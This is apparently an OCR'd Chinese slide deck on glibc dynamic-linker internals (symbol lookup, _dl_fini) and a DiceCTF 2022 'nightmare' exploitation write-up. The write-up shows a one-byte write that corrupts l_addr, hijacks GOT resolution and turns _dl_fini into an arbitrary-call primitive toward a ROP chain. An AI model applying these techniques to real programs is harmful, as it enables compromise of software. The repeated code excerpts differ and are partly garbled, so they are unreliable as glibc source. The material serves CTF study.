                         undefined_map, flags);
        return 1;
    case STB_GNU_UNIQUE:
        do_lookup_unique(undefined_name, new_hash, (struct link_map *)map,
                         result, type_class, sym, strtab, ref,
                         undefined_map, flags);
        return 1;
    default:
        break;
}
skip:;
} while (++i < n);
return 0;
}
```

先前沒有找到 symbol 的話在用

\$ DL Ing

do_lookup_x part4

- ▶ 共有三種 reloc type 的 symbol：
 - ⦿ Weak
 - ⦿ Global
 - ⦿ Unique
- ▶ 此 link_map 沒有，找下一個 object



```
switch (ELFW(ST_BIND)(sym->st_info))
{
case STB_WEAK:
    if (__glibc_unlikely(GLRO(dl_dynamic_weak)))
    {
        if (!result->s)
            result->s = sym;
        result->m = (struct link_map *)map;
    }
    break;
}
case STB_GLOBAL:
    result->s = sym;
    result->m = (struct link_map *)map;
    return 1;
}
case STB_GNU_UNIQUE:
    do
        {
            if (result->s)
                return 1;
        }
    while (++i < n);
    return 0;
}
default:
    break;
}
}

skip:;
} while (++i < n);
return 0;
}
```

找到就直接回傳

\$ DL Ing

do_lookup_x part4

- ▶ 共有三種 reloc type 的 symbol：
 - ⌚ Weak
 - ⌚ Global
 - ⌚ Unique
- ▶ 此 link_map 沒有，找下一個 object

```
switch (ELFW(ST_BIND)(sym->st_info))  
{  
case STB_WEAK:  
    if (__glibc_unlikely(GLRO(dl_dynamic_weak)))  
    {  
        if (!result->s)  
        {  
            result->s = sym;  
            result->m = (struct link_map *)map;  
        }  
        break;  
    }  
case STB_GLOBAL:  
    result->s = sym;  
    result->m = (struct link_map *)map;  
    return 1;  
case STB_GNU_UNIQUE:  
    do_lookup_unique(undefined_name, new_hash, (struct link_map *)map,  
                    result, type_class, sym, strtab, ref,  
                    undefined_map, flags);  
    return 1;  
}  
skip:  
} while (++i < n);  
return 0;  
}
```

重新在 unique symbol table 找並更新 table

\$ DL Ing

do_lookup_x part4


- ▶ 共有三種 reloc type 的 symbol :
- ⦿ Weak
- ⦿ Global
- ⦿ Unique
- ▶ 此 link_map 沒有，找下一個 object

```
switch (ELFW(ST_BIND)(sym->st_info))
{
case STB_WEAK:
    if (__glibc_unlikely(GLRO(dl_dynamic_weak)))
    {
        if (!result->s)
            result->s = sym;
        result->m = (struct link_map *)map;
    }
    break;
}
case STB_GLOBAL:
    result->s = sym;
    result->m = (struct link_map *)map;
    return 1;
}
case STB_GNU_UNIQUE:;
    do_lookup_unique(undefined_name, new_hash, (struct link_map *)map,
                     result, type_class, sym, strtab, ref,
                     undefined_map, flags);
    return 1;
}
default:
    break;
}
}
skip:;
} while (++i < n);
return 0;
}
```



DL End

\$ DL End



- Linker
- Library
- Executable

\$ DL End

```
u1f383@u1f383:/
```


```
$ void
attribute_hidden
__run_exit_handlers(int status, struct exit_function_list **listp,
                     bool run_list_atexit, bool run_dtors)
{
...
while (true)
{
    ...
    while (cur->idx > 0)
    {
        struct exit_function *const f = &cur->fns[--cur->idx];
        switch (f->flavor)
        {
            void (*cxafct)(void *arg, int status);
case ef_cxa:
            f->flavor = ef_free;
            cxafct = f->func.cxa.fn;
            PTR_DEMANGLE(cxafct);
            cxafct(f->func.cxa.arg, status);
            break;
        }
    }
}
...
}
```

_dl_fini 為 atexit function，
會在最後一次被呼叫

\$ DL End

_dl_fini part1

- ▶ 處理每個 namespace 的 object link_map
- ▶ Lock 後把 link_map 存到 local variable
當中方便處理
- ▶ 透過 sort map 讓 map 的順序符合 dependency , 之後 unlock



```
u1f383@u1f383:/ $ 
void _dl_fini(void)
{
    for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
        __rtld_lock_lock_recursive(GL(dl_load_lock));

        unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
        struct link_map *maps[nloaded];
        unsigned int i;
        struct link_map *l;
        for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
            if (l == l->l_real)
            {
                maps[i] = l;
                l->l_idx = i;
                ++i;
                ++l->l_direct_opencount;
            }
        unsigned int nmaps = i;
        _dl_sort_maps(maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
                      NULL, true);
        __rtld_lock_unlock_recursive(GL(dl_load_lock));
    ...
}
```

\$ DL End

_dl_fini part1

- ▶ 處理每個 namespace 的 object link_map
- ▶ Lock 後把 link_map 存到 local variable 當中方便處理
- ▶ 透過 sort map 讓 map 的順序符合 dependency , 之後 unlock



```
void _dl_fini(void)
{
    for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
        __rtld_lock_lock_recursive(GL(dl_load_lock));
        ...
        unsigned int nmaps = i;
        _dl_sort_maps(maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
                      NULL, true);
        __rtld_lock_unlock_recursive(GL(dl_load_lock));
        ...
    }
}
```

處理每個 namespace object 的
link_map

\$ DL End

_dl_fini part1

- ▶ 處理每個 namespace 的 object link_map
- ▶ Lock 後把 link_map 存到 local variable 當中方便處理
- ▶ 透過 sort map 讓 map 的順序符合 dependency , 之後 unlock

```
u1f383@u1f383:/$ l
void _dl_fini(void)
{
    for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
        __rtld_lock_lock_recursive(GL(dl_load_lock));

        unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
        struct link_map *maps[nloaded];
        unsigned int i;
        struct link_map *l;
        for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
            if (l == l->l_real)
            {
                maps[i] = l;
                l->l_idx = i;
                ++i;
                ++l->l_direct_opencount;
            }
        unsigned int nmaps = i;
        _dl_nmaps = nmaps;
        __rtld_lock_unlock(GL(dl_load_lock));
    }
}
```

把 link_map 存到 local 變數 maps 當中

\$ DL End

_dl_fini part1

- ▶ 處理每個 namespace 的 object link_map
- ▶ Lock 後把 link_map 存到 local variable 當中方便處理
- ▶ 透過 sort map 讓 map 的順序符合 dependency , 之後 unlock

```
u1f383@u1f383:/$
void _dl_fini(void)
{
    for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
        __rtld_lock_lock_recursive(GL(dl_load_lock));

        unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
        struct link_map *maps[nloaded];
        unsigned int i;
        struct link_map *l;
        for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
            if (l == l->l_real)
            {
                maps[i] = l;
                l->l_idx = i;
                ++i;
                ++l->l_direct_opencount;
            }
        unsigned int nmaps = i;
        _dl_sort_maps(maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
                      NULL, true);
        __rtld_lock_unlock_recursive(GL(dl_load_lock));
    ...
}
```

Object 之間會有 dependency , 因此需要 sort 來調整呼叫 fini function 的順序

\$ DL End

_dl_fini part2

- ▶ 呼叫 DT_FINI_ARRAY 的 function entry
- ▶ 呼叫 DT_FINI function

```
u1f383@u1f383:/
```

```
$ for (i = 0; i < nmaps; ++i)
{
    struct link_map *l = maps[i];
    if (l->l_init_called)
    {
        l->l_init_called = 0;
        if (l->l_info[DT_FINI_ARRAY] != NULL ||
            l->l_info[DT_FINI] != NULL)
        {
            if (l->l_info[DT_FINI_ARRAY] != NULL)
            {
                ElfW(Addr) *array =
                    (ElfW(Addr) *) (l->l_addr +
                        l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
                unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
                    / sizeof(ElfW(Addr)));
                while (i-- > 0)
                    ((fini_t)array[i])();
            }
            if (l->l_info[DT_FINI] != NULL)
                DL_CALL_DT_FINI(l, l->l_addr +
                    l->l_info[DT_FINI]->d_un.d_ptr);
        }
        --l->l_direct_opencount;
    }
}
```

\$ DL End

_dl_fini part2

- ▶ 呼叫 DT_FINI_ARRAY 的 function entry
- ▶ 呼叫 DT_FINI function



```
for (i = 0; i < nmaps; ++i)
{
    struct link_map *l = maps[i];
    if (l->l_init_called)
    {
        l->l_init_called = 0;
        if (l->l_info[DT_FINI_ARRAY] != NULL ||
            l->l_info[DT_FINI] != NULL)
        {
            if (l->l_info[DT_FINI_ARRAY] != NULL)
            {
                ElfW(Addr) *array =
                    (ElfW(Addr) *) (l->l_addr +
                        l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
                unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
                                / sizeof(ElfW(Addr)));
                while (i-- > 0)
                    ((fini_t)array[i])();
            }
        }
    }
}
```

當 l_init_called 為 1 代表還沒處理 fini function 的兩種情況。先執行每個 fini array entry

\$ DL End _dl_fini part2

- ▶ 呼叫 DT_FINI_ARRAY 的 function entry
- ▶ 呼叫 DT_FINI function

```
for (i = 0; i < nmaps; ++i)
{
    struct link_map *l = maps[i];
    if (l->l_init_called)
    {
        l->l_init_called = 0;
        if (l->l_info[DT_FINI_ARRAY] != NULL ||
            l->l_info[DT_FINI] != NULL)
        {
            if (l->l_info[DT_FINI_ARRAY] != NULL)
            {
                ElfW(Addr) *array =
                    (ElfW(Addr) *) (l->l_addr +
                        l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
                unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
                    / sizeof(ElfW(Addr)));
                while (i-- > 0)
                    ((fini_t)array[i])();
            }
            if (l->l_info[DT_FINI] != NULL)
                DL_CALL_DT_FINI(l, l->l_addr +
                    l->l_info[DT_FINI]->d_un.d_ptr);
        }
        --l->l_direct_opencount;
    }
}
```

再來處理比較 old style 的 fini function，
最後減少此 object 的 reference count



DL Summary

\$ DL Summary

1

- ▶ 如果能呼叫到 `_dl_show_auxv_`，則可以有許多 address 資訊，不過底層是用 `sys_writev`，因此 ORW seccomp 白名單不一定能用

```
pwndbg> fin
Run till exit from #0  _dl_show_auxv () at ../../elf/dl-sysdep.c:263
AT_SYSINFO_EHDR:      0x7ffff7fcf000
AT_HWCAP:             bfebfbff
AT_PAGESZ:            4096
AT_CLKTCK:             100
AT_PHDR:               0x55555554040
AT_PHENT:              56
AT_PHNUM:              13
AT_BASE:               0x7ffff7fd1000
AT_FLAGS:              0x0
AT_ENTRY:              0x55555555060
AT_UID:                1000
AT_EUID:                1000
AT_GID:                1000
AT_EGID:                1000
AT_SECURE:              0
AT_RANDOM:             0xfffffffffe469
AT_HWCAP2:              0x2
AT_EXECFN:             /home/u1f383/tmp/dl_info/test
AT_PLATFORM:           x86_64
```

\$ DL Summary

2

- 在執行 user main 後，stack 底層會殘留一個 executable 的 link_map，而 link_map 的第一個 member 是 l_addr，儲存 code base address

```
In file: /home/u1f383/tmp/dl_info/test.c
1 #include <stdio.h>
2
3 int main()
► 4 {
5     puts("OWO");
6 }

00:0000 | rsp 0x7fffffff0c8 -> 0x7ffff7e2d013 (_libc_start_main)
01:0008 | 0x7fffffff0d0 -> 0x7ffff7ffc620 (_rtld_local_ro_
02:0010 | 0x7fffffff0d8 -> 0x7fffffff1b8 -> 0x7fffffff41
03:0018 | 0x7fffffff0e0 -> 0x100000000
04:0020 | 0x7fffffff0e8 -> 0x55555555149 (main) -> endbr
05:0028 | 0x7fffffff0f0 -> 0x55555555170 (_libc_csu_init)
06:0030 | 0x7fffffff0f8 -> 0x63c831c30f1eaee38
07:0038 | 0x7fffffff100 -> 0x55555555060 (_start) -> endl

► f 0 0x55555555149 main
f 1 0x7ffff7e2d013 __libc_start_main+243


pwndbg> telescope 0x7fffffff148
00:0000 | 0x7fffffff148 -> 0x1
01:0008 | 0x7fffffff150 -> 0x7fffffff1b8 -> 0x7fffffff48f
02:0010 | 0x7fffffff158 -> 0x7fffffff1c8 -> 0x7fffffff4ad
03:0018 | 0x7fffffff160 -> 0x7ffff7ffe190 -> 0x555555554000
```

```
struct link_map
{
    ElfW(Addr) l_addr;
    char *l_name;
    ElfW(Dyn) * l_ld;
    struct link_map *l_next, *l_prev;
    struct link_map *l_real;
    Lmid_t l_ns;
    struct libname_list *l_libname;
    ElfW(Dyn)* l_info[...];
    ...
}
```

\$ DL Summary

2

- ▶ 而在呼叫 `_dl_fini` 時，`fini array` 以及 `fini function` 都會使用到 `l->l_addr`，如果能讓 `l_addr` 做偏移，使得 array 指向 bss / data 當中我們可控的陣列，把我們寫入的資料作為 function 呼叫




```
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
    ElfW(Addr) *array =
        (ElfW(Addr) *) (l->l_addr +
                        l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
    unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof(ElfW(Addr)));
    while (i-- > 0)
        ((fini_t)array[i])();
}

if (l->l_info[DT_FINI] != NULL)
    DL_CALL_DT_FINI(l, l->l_addr +
                    l->l_info[DT_FINI]->d_un.d_ptr);
```

\$ DL Summary

3

- ▶ 呼叫 `__rtld_lock_lock_recursive` 等於呼叫 `*__rtld_global._dl_rtld_lock_recursive`，呼叫 `__rtld_lock_unlock_recursive` 等於呼叫 `*__rtld_global._dl_rtld_unlock_recursive`，而呼叫時參數 \$rdi 為 `_rtld_global._dl_load_lock`。如果這三個可控，那也可以用來控制程式執行流程



A screenshot of a terminal window titled "u1f383@u1f383:/". The window contains the following assembly code:

```
void _dl_fini(void)
{
    for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
        __rtld_lock_lock_recursive(GL(dl_load_lock));
        ...
        __rtld_lock_unlock_recursive(GL(dl_load_lock));
```



DiceCTF 2022 - nightmare


\$ Nightmare Environment

- ▶ Glibc 2.34
- ▶ Seccomp - only allow ORW / exit / exit_group / non-executable mmap
- ▶ Exploitation 不需要 bruce force , 100% work

```
20:44:24 ▶ ulf383@OWO ▶ /tmp/nightmare ▶ 7s ▶
$ seccomp-tools dump ./nightmare
line  CODE   JT   JF     K
=====
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0xb 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x08 0x00 0x00000000 if (A == read) goto 0012
0004: 0x15 0x07 0x00 0x00000001 if (A == write) goto 0012
0005: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0012
0006: 0x15 0x05 0x00 0x0000003c if (A == exit) goto 0012
0007: 0x15 0x04 0x00 0x000000e7 if (A == exit_group) goto 0012
0008: 0x15 0x01 0x00 0x00000009 if (A == mmap) goto 0010
0009: 0x05 0x00 0x00 0x00000003 goto 0013
0010: 0x20 0x00 0x00 0x00000020 A = prot # mmap(addr, len, prot, flags, fd, pgoff)
0011: 0x45 0x01 0x00 0x00000004 if (A & 0x4) goto 0013
0012: 0x06 0x00 0x00 0x7ffff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
```

\$ Nightmare Environment

► Source code 分析



The screenshot shows a terminal window with the title bar "u1f383@u1f383:/". The terminal contains the following C code:

```
$ uint8_t *chunk = 0;

void __attribute__((constructor)) nightmare()
{
    if (!chunk)
    {
        chunk = malloc(0x40000);
        seccomp();
    }
    uint8_t byte = 0;
    size_t offset = 0;

    read(0, &offset, sizeof(size_t));
    read(0, &byte, sizeof(uint8_t));

    chunk[offset] = byte;

    write(1, "BORN TO WRITE WORLD IS A CHUNK 鬼神 LSB Em All 1972 I am mov man 410,757,864,530 CORRUPTED POINTERS", 101);
    _Exit(0);
}

int main()
{
    _Exit(0);
}
```

\$ Nightmare Environment

► Source code 分析

```
u1f383@u1f383:/
```

```
$ uint8_t *chunk = 0;

void __attribute__((constructor)) nightmare()
{
    if (!chunk)
    {
        chunk = malloc(0x40000);
        seccomp();
    }
    uint8_t byte = 0;
    size_t offset = 0;

    read(0, &offset, sizeof(size_t));
    read(0, &byte, sizeof(uint8_t));
    chunk[offset] = byte;

    write(1, "BORN TO WRITE WORLD IS A CHUNK 鬼神 LSB Em All 1972 I am mov man 410,757,864,530 CORRUPTED POINTERS", 101);
    _Exit(0);
}

int main()
{
    _Exit(0);
}
```

malloc 大塊記憶體是用 mmap，因此會與 libc 有固定 offset

只能寫一個 byte

_Exit = _exit，並且沒有像 exit 有許多 hook 可以控制


\$ Nightmare Exploitation

- ▶ Exploit 可以分成以下步驟
 - ⦿ 1. 將 write 解析到 `_Exit@got` 達到不限次數限制的寫
 - ⦿ 2. 透過更改 symbol `st_other` 藉此清除版本資訊，避免版本資訊影響結果
 - ⦿ 3. 解析 ld 的 `_dl_fini` function 並寫到 `write@got`
 - ⦿ 4. 透過 `_dl_fini` 構造任意呼叫的 primitive
 - ⦿ 5. 為假的 `link_map` 構造 symbol table
 - ⦿ 6. 為假的 `link_map` 設置其他 table
 - ⦿ 7. 建構 `stack pivoting + ORW` 的 ROP chain
 - ⦿ 8. Win !

\$ Nightmare Exploitation

- ▶ Exploit 可以分成以下步驟
 - ⦿ 1. 將 write 解析到 _Exit@got 達到不限次數限制的寫
 - ⦿ 2. 透過更改 symbol st_other 藉此清除版本資訊，避免版本資訊影響結果
 - ⦿ 3. 解析 ld 的 _dl_fini function 並寫到 write@got
 - ⦿ 4. 透過 _dl_fini 構造任意呼叫的 primitive
 - ⦿ 5. 為假的 link_map 構造 symbol table
 - ⦿ 6. 為假的 link_map 設置其他 table
 - ⦿ 7. 建構 stack pivoting + ORW 的 ROP chain
 - ⦿ 8. Win !

\$ Nightmare Exploitation



```
u1f383@u1f383:/
```

```
$
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    symtab = l->l_info[ DT_SYMTAB ].d_un.d_ptr;
    strtab = l->l_info[ DT_STRTAB ].d_un.d_ptr;
    pltgot = l->l_info[ DT_PLTGOT ].d_un.d_ptr;
    reloc = l->l_info[ DT_JMPREL ].d_un.d_ptr + 0x18 * reloc_arg;
    sym = &symtab[ reloc->r_info >> 32 ];
    rel_addr = l->l_addr + reloc->r_offset;

    if (ELFW(ST_VISIBILITY)(sym->st_other) == 0)
    {
        result_link_map = _dl_lookup_symbol_x (strtab + sym->st_name);
        value = l->l_addr + sym->st_value
    }
    else
    {
        value = l->l_addr + sym->st_value
        result_link_map = l;
    }
    return *rel_addr = value;
}
```

精簡版 _dl_fixup

\$ Nightmare Exploitation

執行 `_dl_fixup` 解析 `write` 時，這邊等同於 `l->l_addr + write@got`；
如果竄改 `l->l_addr` 使得 $(l->l_addr)' = l->l_addr - write@got + _exit@got$ ，就能讓
 $(l->l_addr)' + write@got = l->l_addr + _exit@got$ ，進而解析 `write` function 位址到 `_Exit@got`

```
sym = &syms[ reloc->r_info >> 32 ];
rel_addr = l->l_addr + reloc->r_offset;

if (ELFW(ST_VISIBILITY)(sym->st_other) == 0)
{
    result_link_map = _dl_lookup_symbol_x (strtab + sym->st_name);
    value = l->l_addr + sym->st_value;
}
else
{
    value = l->l_addr + sym->st_value;
    result_link_map = l;
}
return *rel_addr = value;
```

精簡版 `_dl_fixup`

\$ Nightmare Exploitation

透過改寫 1 byte 竄改 l->l_addr

Before

```
pwndbg> p ((*(struct link_map *) 0x155555555220)->l_addr)
$1 = 93824992231424
pwndbg> hex($1)
+0000 0x555555554000 7f 45 4c 46 02 01 01 00 00 00 00 0
+0010 0x555555554010 03 00 3e 00 01 00 00 00 90 10 00 0
+0020 0x555555554020 40 00 00 00 00 00 00 00 a0 4d 00 0
+0030 0x555555554030 00 00 00 00 40 00 38 00 0d 00 40 0
...  
[REDACTED]
```

After

```
pwndbg> p ((*(struct link_map *) 0x155555555220)->l_addr)
$3 = 93824992231464
pwndbg> hex($3)
+0000 0x555555554028 a0 4d 00 00 00 00 00 00 00 00 00 0
+0010 0x555555554038 0d 00 40 00 26 00 25 00 06 00 00 00
+0020 0x555555554048 40 00 00 00 00 00 00 00 40 00 00 00
+0030 0x555555554058 40 00 00 00 00 00 00 00 d8 02 00 00
...  
[REDACTED]
```

Address	Type	Symbol
0000000000004018	R_X86_64_JUMP_SLOT	write@GLIBC_2.2.5
0000000000004020	R_X86_64_JUMP_SLOT	__stack_chk_fail@GLIBC_2.4
0000000000004028	R_X86_64_JUMP_SLOT	read@GLIBC_2.2.5
0000000000004030	R_X86_64_JUMP_SLOT	prctl@GLIBC_2.2.5
0000000000004038	R_X86_64_JUMP_SLOT	malloc@GLIBC_2.2.5
0000000000004040	R_X86_64_JUMP_SLOT	_Exit@GLIBC_2.2.5

\$ Nightmare Exploitation

```
▶ 0x155555531b0a <_dl_fixup+298>
0x155555531b0d <_dl_fixup+301>
0x155555531b11 <_dl_fixup+305>
0x155555531b12 <_dl_fixup+306>
↓
0x1555555393be <_dl_runtime_resolve_xsavec+126>    mov    qword ptr [rbx], rax
0x1555555393c1 <_dl_runtime_resolve_xsavec+129>    add    rsp, 0x10
                                                       pop    rbx
                                                       ret
                                                       mov    r11, rax
                                                       mov    eax, 0xee
[ SOURCE (CODE) ]
In file: /usr/src/glibc/glibc-2.34/elf/dl-runtime.c
140
141 /* Finally, fix up the plt itself. */
142 if (__glibc_unlikely (GLRO(dl_bind_not)))
143     return value;
144
▶ 145 return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
146 }
147
148 #ifndef PROF
149 DL_FIXUP_VALUE_TYPE
150 __attribute__ ((noinline)) ARCH_FIXUP_ATTRIBUTE
[ STACK ]
```

_dl_fixup 的最後一步是將解析結果寫入 GOT 當中，也就是 *reloc_addr = value，而對應到的 asm 會是 mov qword ptr [rbx], rax

```
07:0038 | 0x7fffffff958 -> 0x55555556008 ← 0x204f54204e524f42 ('BORN TO ')
[ BACKTRACE ]
▶ f 0 0x155555531b0a _dl_fixup+298
f 1 0x1555555393be _dl_runtime_resolve_xsavec+126
f 2 0x555555553d9 nightmare+163
f 3 0x5555555544d __libc_csu_init+77
f 4 0x155555345578 __libc_start_main_impl+88

pwndbg> p rel_addr
$3 = (void * const) 0x555555558040 <_Exit@got.plt>
pwndbg> hex(value)
+0000 0x155555414fe0 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 |....|d..%|....|..u.
+0010 0x155555414ff0 b8 01 00 00 00 0f 05 48 3d 00 f0 ff ff 77 51 c3 |....|...H|=...|wQ.
+0020 0x155555415000 48 83 ec 28 48 89 54 24 18 48 89 74 24 10 89 7c |H..(|H.T$|.H.t|$..|
+0030 0x155555415010 24 08 e8 d9 ab f8 ff 48 8b 54 24 18 48 8b 74 24 |$...|...H|.T$.|H.t$|
pwndbg> reg
RAX 0x155555414fe0 (write) ← endbr64
RBX 0x555555558040 (_Exit@got.plt) → 0x555555555086 (_Exit@plt+6) ← push 5
RCX 0x1
```

\$ Nightmare Exploitation

```
► 0x155555531b0a <_dl_fixup+298>           mov    qword ptr [rbx], rax
0x155555531b0d <_dl_fixup+301>           add    rsp, 0x10
0x155555531b11 <_dl_fixup+305>           pop    rbx
0x155555531b12 <_dl_fixup+306>           ret
↓
0x1555555393be <_dl_runtime_resolve_xsavec+126> mov    r11, rax
0x1555555393c1 <_dl_runtime_resolve_xsavec+129> mov    eax, 0xee
[ SOURCE (CODE) ]————
In file: /usr/src/glibc/glibc-2.34/elf/dl-runtime.c
140
141 /* Finally, fix up the plt itself. */
142 if (__glibc_unlikely (GLRO(dl_bind_not)))
143     return value;
144
► 145     return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
146 }
147
148 #ifndef PROF
149 DL_FIXUP_VALUE_TYPE
150 __attribute__ ((noinline)) ARCH_FIXUP_ATTRIBUTE
[ STACK ]————
00:0000 | rsp 0x7fffffff920 ← 0x700000007
01:0008 | r11 0x7fffffff928 → 0x155555322fc0 ← 0x10002200005341 /* 'AS' */
02:0010 | 0x7fffffff930 → 0x7fffffffed30 ← 0x1
03:0018 | 0x7fffffff938 → 0x1555555393be (_dl_runtime_resolve_xsavec+126) ← mov    r11, rax
04:0020 | 0x7fffffff940 → 0x55555556008 ← 0x204f54204e524f42 ('BORN TO ')
05:0028 | 0x7fffffff948 → 0x155555414f52 (read+18) ← cmp    rax, -0x1000 /* 'H=' */
06:0030 | 0x7fffffff950 ← 0x65 /* 'e' */
07:0038 | 0x7fffffff958 → 0x55555556008 ← 0x204f54204e524f42 ('BORN TO ')

```

```
► f 0 0x155555531b0a
f 1 0x1555555393be
f 2 0x5555555553d9
f 3 0x55555555544d
f 4 0x155555345578
```

因為竄改了 `I_addr`，因此寫到的 GOT 會變成 `_Exit@got`

```
pwndbg> p rel_addr
$3 = (void * const) 0x555555558040 <_Exit@got.plt>
pwndbg> hex(value)
+0000 0x155555414fe0 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 |....|d..%|....|..u.
+0010 0x155555414ff0 b8 01 00 00 00 0f 05 48 3d 00 f0 ff ff 77 51 c3 |....|...H=...|..wQ.
+0020 0x155555415000 48 83 ec 28 48 89 54 24 18 48 89 74 24 10 89 7c |H..(|H.T$|.H.t|$..| |
+0030 0x155555415010 24 08 e8 d9 ab f8 ff 48 8b 54 24 18 48 8b 74 24 |$....|H.t$|.T$.|H.t$|
pwndbg> reg
RAX 0x155555414fe0 (write) ← endbr64
RBX 0x555555558040 (_Exit@got.plt) → 0x555555555086 (_Exit@plt+6) ← push 5
RCX 0x1
```

\$ Nightmare Exploitation

- ▶ Exploit 可以分成以下步驟
 - ⦿ 1. 將 write 解析到 `_Exit@got` 達到不限次數限制的寫
 - ⦿ 2. 透過更改 symbol `st_other` 藉此清除版本資訊，避免版本資訊影響結果
 - ⦿ 3. 解析 ld 的 `_dl_fini` function 並寫到 `write@got`
 - ⦿ 4. 透過 `_dl_fini` 構造任意呼叫的 primitive
 - ⦿ 5. 為假的 `link_map` 構造 symbol table
 - ⦿ 6. 為假的 `link_map` 設置其他 table
 - ⦿ 7. 建構 `stack pivoting + ORW` 的 ROP chain
 - ⦿ 8. Win !

\$ Nightmare Exploitation

```
u1f383@u1f383:/
```

```
$
```

```
if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
{
    if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
    {
        const ElfW(Half) *vernum =
            (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
        ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
        version = &l->l_versions[ndx];
        if (version->hash == 0)
            version = NULL;
    }
}
else {...}
```

_dl_fixup 的 VER 檢查

\$ Nightmare Exploitation



The screenshot shows a terminal window with the following C code:

```
if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
{
    if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
    {
        const ElfW(Half) *version;
        (const v
        ElfW(Half) r
        version = &l
        if (version-
            version = NULL,
        }
    }
    else {...}
}
```


A yellow callout box with black text is overlaid on the code, pointing to the first two lines of the inner if-block. The text reads:

目標是要讓他為 NULL，但一次只能清除一個
byte，因此要先讓上面的 condition 不成立

A red arrow points from the top of the callout box to the start of the second line of the inner if-block.

_dl_fixup 的 VER 檢查


\$ Nightmare Exploitation





```
if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
{
    ...
}
else
{
    value = l->l_addr + sym->st_value;
    result = l;
}
```

當 **sym->st_other** 非 0，**dl** 會回傳
executable 內紀錄的 address 並寫到 GOT

_dl_fixup 下半部







\$ Nightmare Exploitation

- ▶ Exploit 可以分成以下步驟
 - ⦿ 1. 將 write 解析到 _Exit@got 達到不限次數限制的寫
 - ⦿ 2. 透過更改 symbol st_other 藉此清除版本資訊，避免版本資訊影響結果
 - ⦿ 3. 解析 ld 的 _dl_fini function 並寫到 write@got
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 - ⦿ 8. Win !

\$ Nightmare Exploitation


```
u1f383@u1f383:/
```

```
$
if (l->l_init_called)
{
    l->l_init_called = 0;
    if (l->l_info[DT_FINI_ARRAY] != NULL ||
        (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
    {
        if (l->l_info[DT_FINI_ARRAY] != NULL)
        {
            ElfW(Addr) *array =
                (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
            unsigned int i = (...); // get num
            while (i-- > 0)
                ((fini_t)array[i])();
        }

        if (ELF_INITFINI && l->l_info[DT_FINI] != NULL)
            DL_CALL_DT_FINI(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
    }
}
```

_dl_fini

\$ Nightmare Exploitation



The terminal window shows the following C code:

```
$
if (l->l_init_called)
{
    l->l_init_called = 0;
    if (l->l_info[DT_FINI_ARRAY] != NULL || (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
    {
        if (l->l_info[DT_FINI_ARRAY] != NULL)
        {
            ElfW(Addr) *array =
                (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
            unsigned int i = (...); // get num
            while (i-- > 0)
                ((fini_t)array[i])();
        }
        if (ELF_INITFINI && l->l_info[DT_FINI] != NULL)
            DL_CALL_DT_FINI(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
    }
}
```

A yellow callout box contains the text: "DT_FINI_ARRAY 跟 DT_FINI 都可以呼叫 function，在此選相較簡單的 DT_FINI"

_dl_fini


\$ Nightmare Exploitation


透過 `l_init_called` 控制執行時機


```
if (l->l_init_called)
{
    l->l_init_called = 0;
    if (l->l_info[DT_FINI_ARRAY] != NULL ||
        (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
    {
        if (l->l_info[DT_FINI_ARRAY] != NULL)
        {
            ElfW(Addr) *array =
                (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
            unsigned int i = (...); // get num
            while (i-- > 0)
                ((fini_t)array[i])();
        }


        if (ELF_INITFINI && l->l_info[DT_FINI] != NULL)
